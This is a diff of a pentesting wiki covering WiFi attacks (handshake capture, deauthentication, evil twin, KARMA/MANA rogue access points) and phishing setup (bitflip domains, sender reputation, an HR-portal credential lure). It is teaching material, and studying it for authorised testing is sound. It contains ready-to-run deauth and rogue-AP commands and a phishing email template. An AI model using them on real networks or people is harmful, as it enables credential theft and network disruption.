||||
### Handshake capture
|
||||
|
||||
One way to attack **WPA/WPA2** networks is to capture a **handshake** and try to **crack** the used password **offline**. To do so you need to find the **BSSID** and **channel** of the **victim** network, and a **client** that is connected to the network.\
|
||||
Once you have that information you have to start **listening** to all the commutation of that **BSSID** in that **channel**, because hopefully the handshake will be send there:
|
||||
An attack on **WPA/WPA2** networks can be executed by capturing a **handshake** and attempting to **crack** the password **offline**. This process involves monitoring the communication of a specific network and **BSSID** on a particular **channel**. Here's a streamlined guide:
|
||||
|
||||
1. Identify the **BSSID**, **channel**, and a **connected client** of the target network.
|
||||
2. Use `airodump-ng` to monitor the network traffic on the specified channel and BSSID, hoping to capture a handshake. The command will look like this:
|
||||
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
|
||||
Now you need to **deauthenticate** the **client** for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client):
|
||||
3. To increase the chance of capturing a handshake, momentarily disconnect the client from the network to force a re-authentication. This can be done using the `aireplay-ng` command, which sends deauthentication packets to the client:
|
||||
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
|
||||
_Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._
|
||||
|
@ -435,22 +434,28 @@ pyrit -r psk-01.cap analyze
|
|||
|
||||
## **WPA Enterprise (MGT)**
|
||||
|
||||
**It** is important to talk about the **different authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in `airodump-ng` something like this:
|
||||
In **enterprise WiFi setups, you'll encounter various authentication methods**, each providing different security levels and management features. When you use tools like `airodump-ng` to inspect network traffic, you might notice identifiers for these authentication types. Some common methods include:
|
||||
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
|
||||
**EAP** (Extensible Authentication Protocol) the **skull** of the **authentication communication**, on **top** of this, an **authentication algorithm** is used by the server to authenticate the **client** (**supplicant**) and in same cases by the client to authenticate the server.\
|
||||
Main authentication algorithms used in this case:
|
||||
|
||||
* **EAP-GTC:** Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in **plaintext** (very interesting for downgrade attacks).
|
||||
* **EAP-MD-5 (Message Digest)**: The client send the MD5 hash of the password. **Not recommended**: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys.
|
||||
* **EAP-TLS (Transport Layer Security)**: It relies on **client-side and server-side certificates** to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications.
|
||||
* **EAP-TTLS (Tunneled Transport Layer Security)**: **Mutual authentication** of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, **EAP-TTLS requires only server-side certificates (client will use credentials)**.
|
||||
* **PEAP (Protected Extensible Authentication Protocol)**: PEAP is like the **EAP** protocol but creating a **TLS tunnel** to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel.
|
||||
* **PEAP-MSCHAPv2**: This is also known as just **PEAP** because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel).
|
||||
* **PEAP-EAP-TLS or just PEAP-TLS**: Is very similar to **EAP-TLS** but a TLS tunnel is created before the certificates are exchanged.
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- This method supports hardware tokens and one-time passwords within EAP-PEAP. Unlike MSCHAPv2, it doesn't use a peer challenge and sends passwords in plaintext to the access point, posing a risk for downgrade attacks.
|
||||
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Involves sending the MD5 hash of the password from the client. It's **not recommended** due to vulnerability to dictionary attacks, lack of server authentication, and inability to generate session-specific WEP keys.
|
||||
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
- Utilizes both client-side and server-side certificates for authentication and can dynamically generate user-based and session-based WEP keys for securing communications.
|
||||
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
- Provides mutual authentication through an encrypted tunnel, along with a method to derive dynamic, per-user, per-session WEP keys. It requires only server-side certificates, with clients using credentials.
|
||||
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
- Functions similarly to EAP by creating a TLS tunnel for protected communication. It allows the use of weaker authentication protocols on top of EAP due to the protection offered by the tunnel.
|
||||
* **PEAP-MSCHAPv2**: Often referred to as PEAP, it combines the vulnerable MSCHAPv2 challenge/response mechanism with a protective TLS tunnel.
|
||||
* **PEAP-EAP-TLS (or PEAP-TLS)**: Similar to EAP-TLS but initiates a TLS tunnel before exchanging certificates, offering an additional layer of security.
|
||||
|
||||
You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
|
@ -508,23 +513,26 @@ You could also do this attack using `eaphammer`:
|
|||
|
||||
### Network Selection and Roaming
|
||||
|
||||
Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station.
|
||||
- The 802.11 protocol defines how a station joins an Extended Service Set (ESS) but does not specify the criteria for selecting an ESS or an access point (AP) within it.
|
||||
- Stations can roam between APs sharing the same ESSID, maintaining connectivity across a building or area.
|
||||
- The protocol requires station authentication to the ESS but does not mandate AP authentication to the station.
|
||||
|
||||
### Preferred Network Lists (PNLs)
|
||||
|
||||
Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection.
|
||||
- Stations store the ESSID of every wireless network they connect to in their Preferred Network List (PNL), along with network-specific configuration details.
|
||||
- The PNL is used to automatically connect to known networks, improving the user's experience by streamlining the connection process.
|
||||
|
||||
### Passive Scanning
|
||||
|
||||
In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled).
|
||||
|
||||
During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID.
|
||||
- APs periodically broadcast beacon frames, announcing their presence and features, including the AP's ESSID unless broadcasting is disabled.
|
||||
- During passive scanning, stations listen for beacon frames. If a beacon's ESSID matches an entry in the station's PNL, the station may automatically connect to that AP.
|
||||
- Knowledge of a device's PNL allows for potential exploitation by mimicking a known network's ESSID, tricking the device into connecting to a rogue AP.
|
||||
|
||||
### Active Probing
|
||||
|
||||
The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby.
|
||||
|
||||
Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the station to check if any of its preferred networks are nearby without revealing the contents of its PNL
|
||||
- Active probing involves stations sending probe requests to discover nearby APs and their characteristics.
|
||||
- Directed probe requests target a specific ESSID, helping detect if a particular network is within range, even if it's a hidden network.
|
||||
- Broadcast probe requests have a null SSID field and are sent to all nearby APs, letting the station check for any preferred network without disclosing its PNL contents.
|
||||
|
||||
## Simple AP with redirection to Internet
|
||||
|
||||
|
@ -538,9 +546,9 @@ Using `ifconfig -a` check that the wlan interface to create the AP and the inter
|
|||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
|
||||
create a config file _/etc/dnsmasq.conf_ as follows:
|
||||
Create the config file `/etc/dnsmasq.conf`:
|
||||
|
||||
```
|
||||
```ini
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
||||
|
@ -554,26 +562,26 @@ listen-address=127.0.0.1
|
|||
|
||||
Then **set IPs** and **routes**:
|
||||
|
||||
```
|
||||
```bash
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
|
||||
And then **start** dnsmasq:
|
||||
|
||||
```
|
||||
```bash
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
|
||||
### hostapd
|
||||
|
||||
```
|
||||
```bash
|
||||
apt-get install hostapd
|
||||
```
|
||||
|
||||
Create a config file _hostapd.conf:_
|
||||
Create a config file `hostapd.conf`:
|
||||
|
||||
```
|
||||
```ini
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
ssid=MITIWIFI
|
||||
|
@ -593,7 +601,7 @@ wme_enabled=1
|
|||
|
||||
**Stop annoying processes** , set **monitor mode**, and **start hostapd**:
|
||||
|
||||
```
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
|
@ -610,11 +618,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
|
||||
## Evil Twin
|
||||
|
||||
An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.
|
||||
An evil twin attack exploits the way WiFi clients recognize networks, primarily relying on the network name (ESSID) without requiring the base station (access point) to authenticate itself to the client. Key points include:
|
||||
|
||||
Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack).
|
||||
|
||||
Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult).
|
||||
- **Difficulty in Differentiation**: Devices struggle to distinguish between legitimate and rogue access points when they share the same ESSID and encryption type. Real-world networks often use multiple access points with the same ESSID to extend coverage seamlessly.
|
||||
|
||||
- **Client Roaming and Connection Manipulation**: The 802.11 protocol allows devices to roam between access points within the same ESS. Attackers can exploit this by luring a device to disconnect from its current base station and connect to a rogue one. This can be achieved by offering a stronger signal or disrupting the connection to the legitimate access point through methods like deauthentication packets or jamming.
|
||||
|
||||
- **Challenges in Execution**: Successfully executing an evil twin attack in environments with multiple, well-placed access points can be challenging. Deauthenticating a single legitimate access point often results in the device connecting to another legitimate access point unless the attacker can deauthenticate all nearby access points or strategically place the rogue access point.
|
||||
|
||||
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
|
||||
|
||||
|
@ -624,7 +634,7 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|||
|
||||
You could also create an Evil Twin using **eaphammer** (notice that to create evil twins with eaphammer the interface **should NOT be** in **monitor** mode):
|
||||
|
||||
```
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
|
||||
|
@ -640,7 +650,7 @@ _Some OS and AV will warn the user that connect to an Open network is dangerous.
|
|||
|
||||
You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know** the **password** that the client is going to use. If you **don't know** it, the **connection won't be completed**.
|
||||
|
||||
```
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
|
||||
|
@ -652,7 +662,7 @@ To understand this attacks I would recommend to read before the brief [WPA Enter
|
|||
|
||||
`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (download the python file inside _/etc/hostapd-wpe/_)
|
||||
|
||||
```
|
||||
```bash
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
|
@ -719,27 +729,36 @@ And look at the new **"Decrypted TLS" tab**:
|
|||
|
||||
### ESSID and MAC black/whitelists
|
||||
|
||||
The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used:
|
||||
Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):
|
||||
|
||||
![](<../../.gitbook/assets/image (149).png>)
|
||||
1. **MAC-based Whitelist**:
|
||||
- The rogue AP will respond only to probe requests from devices specified in the whitelist, remaining invisible to all others not listed.
|
||||
|
||||
```
|
||||
2. **MAC-based Blacklist**:
|
||||
- The rogue AP will ignore probe requests from devices on the blacklist, effectively making the rogue AP invisible to those specific devices.
|
||||
|
||||
3. **SSID-based Whitelist**:
|
||||
- The rogue AP will respond to probe requests only for specific ESSIDs listed, making it invisible to devices whose Preferred Network Lists (PNLs) do not contain those ESSIDs.
|
||||
|
||||
4. **SSID-based Blacklist**:
|
||||
- The rogue AP will not respond to probe requests for the specific ESSIDs on the blacklist, making it invisible to devices seeking those particular networks.
|
||||
|
||||
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
78:f0:97:fc:b5:36
|
||||
9a:35:e1:01:4f:cf
|
||||
69:19:14:60:20:45
|
||||
ce:52:b8:*:*:*
|
||||
09:6a:06:c8:36:af
|
||||
37:ab:46:7a:9a:7c
|
||||
c7:36:8c:b2:*:*
|
||||
|
||||
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
||||
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
||||
```
|
||||
|
||||
```
|
||||
```bash
|
||||
# example ESSID-based MFACL file
|
||||
apples
|
||||
oranges
|
||||
grapes
|
||||
pears
|
||||
name1
|
||||
name2
|
||||
name3
|
||||
|
||||
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
||||
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
||||
|
@ -747,47 +766,41 @@ pears
|
|||
|
||||
### KARMA
|
||||
|
||||
Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker.
|
||||
This method allows an **attacker to create a malicious access point (AP) that responds to all probe requests** from devices seeking to connect to networks. This technique **tricks devices into connecting to an attacker's AP** by mimicking the networks the devices are searching for. Once a device sends a connection request to this rogue AP, it completes the connection, leading the device to mistakenly connect to the attacker's network.
|
||||
|
||||
### MANA
|
||||
|
||||
According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device.
|
||||
Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks.
|
||||
|
||||
In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL.
|
||||
The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.
|
||||
|
||||
MANA attack using eaphammer:
|
||||
|
||||
```
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
||||
### Loud MANA
|
||||
|
||||
Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it.
|
||||
A **Loud MANA attack** is an advanced strategy for when devices do not use directed probing or when their Preferred Network Lists (PNL) are unknown to the attacker. It operates on the principle that **devices in the same area are likely to share some network names in their PNLs**. Instead of responding selectively, this attack broadcasts probe responses for every network name (ESSID) found in the combined PNLs of all observed devices. This broad approach increases the chance of a device recognizing a familiar network and attempting to connect to the rogue Access Point (AP).
|
||||
|
||||
A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs.
|
||||
|
||||
In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices.
|
||||
|
||||
```
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
||||
### Known Beacon attack
|
||||
|
||||
There are still cases in which Loud MANA attack won’t succeed.\
|
||||
The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.\
|
||||
When the **Loud MANA attack** may not suffice, the **Known Beacon attack** presents another approach. This method **brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs** derived from a wordlist. This simulates the presence of numerous networks, hoping to match an ESSID within the victim's PNL, prompting a connection attempt to the fabricated AP. The attack can be amplified by combining it with the `--loud` option for a more aggressive attempt to ensnare devices.
|
||||
|
||||
Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with `--loud` to create a Loud MANA + Known beacons attack):
|
||||
|
||||
```
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
||||
**Known Beacon Burst attack**
|
||||
|
||||
As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP.
|
||||
The **Known Beacon Burst attack** involves **rapid-fire broadcasting of beacon frames for each ESSID listed in a file**. This creates a dense environment of fake networks, greatly enhancing the likelihood of devices connecting to the rogue AP, especially when combined with a MANA attack. This technique leverages speed and volume to overwhelm devices' network selection mechanisms.
|
||||
|
||||
```
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
--bssid de:ad:be:ef:13:37 \
|
||||
|
@ -798,15 +811,18 @@ As known beacons are loud. You can use a script inside Eaphammer project to just
|
|||
|
||||
## Wi-Fi Direct
|
||||
|
||||
Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other without a wireless AP as one of the two devices will act as AP (called group owner). You can find Wi-Fi Direct in a lot of IoT devices like printers, TVs...
|
||||
**Wi-Fi Direct** is a protocol enabling devices to link directly with each other using Wi-Fi without the need for a traditional wireless access point. This capability is integrated into various Internet of Things (IoT) devices, such as printers and televisions, facilitating direct device-to-device communication. A notable feature of Wi-Fi Direct is that one device takes on the role of an access point, known as the group owner, to manage the connection.
|
||||
|
||||
Wi-Fi Direct relies on Wi-Fi Protected Setup (**WPS**) to securely connect the devices. WPS has multiple configuration methods such as **Push-Button** Configuration (PBC), **PIN entry**, and **Near-Field** Communication (NFC)
|
||||
Security for Wi-Fi Direct connections is established through **Wi-Fi Protected Setup (WPS)**, which supports several methods for secure pairing, including:
|
||||
- **Push-Button Configuration (PBC)**
|
||||
- **PIN entry**
|
||||
- **Near-Field Communication (NFC)**
|
||||
|
||||
So the attacks previously seen to WPS PIN are also valid here if PIN is used.
|
||||
These methods, particularly PIN entry, are susceptible to the same vulnerabilities as WPS in traditional Wi-Fi networks, making them targets for similar attack vectors.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group owner to try to make other devices like phons connect to you: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
**EvilDirect Hijacking** is an attack specific to Wi-Fi Direct. It mirrors the concept of an Evil Twin attack but targets Wi-Fi Direct connections. In this scenario, an attacker impersonates a legitimate group owner with the aim of deceiving devices into connecting to a malicious entity. This method can be executed using tools like `airbase-ng` by specifying the channel, ESSID, and MAC address of the impersonated device:
|
||||
|
||||
## References
|
||||
|
||||
|
@ -818,6 +834,8 @@ This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group o
|
|||
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||||
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
||||
|
||||
|
|
|
@ -59,13 +59,13 @@ Other ways to support HackTricks:
|
|||
|
||||
### Bitflipping
|
||||
|
||||
In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\
|
||||
This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\
|
||||
However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\
|
||||
Applying this concept to DNS request, it's possible that the **domain requested** that arrives to the DNS server **isn't the same as the domain initially requested.**
|
||||
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
|
||||
|
||||
For example a 1 bit modification in the domain windows.com can transform it into _windnws.com._\
|
||||
**Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure**.
|
||||
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
|
||||
|
||||
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
|
||||
|
||||
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
|
||||
|
||||
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
|
@ -245,9 +245,10 @@ service gophish stop
|
|||
|
||||
## Configuring mail server and domain
|
||||
|
||||
### Wait
|
||||
### Wait & be legit
|
||||
|
||||
The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment. moreover, if you put a page about a reputational sector the reputation obtained will be better.
|
||||
|
||||
The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible (at least 1week) before the phishing assessment.\
|
||||
Note that even if you have to wait a week you can finish configuring everything now.
|
||||
|
||||
### Configure Reverse DNS (rDNS) record
|
||||
|
@ -301,7 +302,7 @@ Just access the page and send an email to the address they give you:
|
|||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
|
||||
You can also c**heck your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** (for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root).\
|
||||
You can also **check your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** (for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root).\
|
||||
Check that you pass all the tests:
|
||||
|
||||
```bash
|
||||
|
@ -315,7 +316,7 @@ Sender-ID check: pass
|
|||
SpamAssassin check: ham
|
||||
```
|
||||
|
||||
Alternatively, you can send a **message to a Gmail address that you control**, **view** the received **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field.
|
||||
You could also send **message to a Gmail under your control**, and check the **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field.
|
||||
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
|
@ -325,7 +326,7 @@ Authentication-Results: mx.google.com;
|
|||
|
||||
### Removing from Spamhouse Blacklist
|
||||
|
||||
The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
The page [www.mail-tester.com](www.mail-tester.com) can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Removing from Microsoft Blacklist
|
||||
|
||||
|
@ -360,10 +361,8 @@ I would recommend to **send the test emails to 10min mails addresses** in order
|
|||
</head>
|
||||
<body>
|
||||
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
|
||||
|
||||
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">As you may be aware, due to the large number of employees working from home, the "PLATFORM NAME" platform is being migrated to a new domain with an improved and more secure version. To finalize account migration, please use the following link to log into the new HR portal and move your account to the new site: <a href="{{.URL}}"> "PLATFORM NAME" login portal </a><br />
|
||||
<br />
|
||||
Please Note: We require all users to move their accounts by 04/01/2021. Failure to confirm account migration may prevent you from logging into the application after the migration process is complete.<br />
|
||||
Note: We require all user to login an a very suspicios page before the end of the week, thanks!<br />
|
||||
<br />
|
||||
Regards,</span></p>
|
||||
|
||||
|
@ -482,6 +481,7 @@ Use [**Phishious** ](https://github.com/Rices/Phishious)to evaluate if your emai
|
|||
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -34,15 +34,12 @@ For this purpose, you can use any of the following tools. Note that these tolls
|
|||
|
||||
### Bitflipping
|
||||
|
||||
In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes.\
|
||||
This applies to domains too. For example, _windows.com_ becomes _01110111..._ in the volatile memory of your computing device.\
|
||||
However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa.\
|
||||
Applying this concept to DNS requests, it's possible that the **domain requested** that arrives at the DNS server **isn't the same as the domain initially requested.**
|
||||
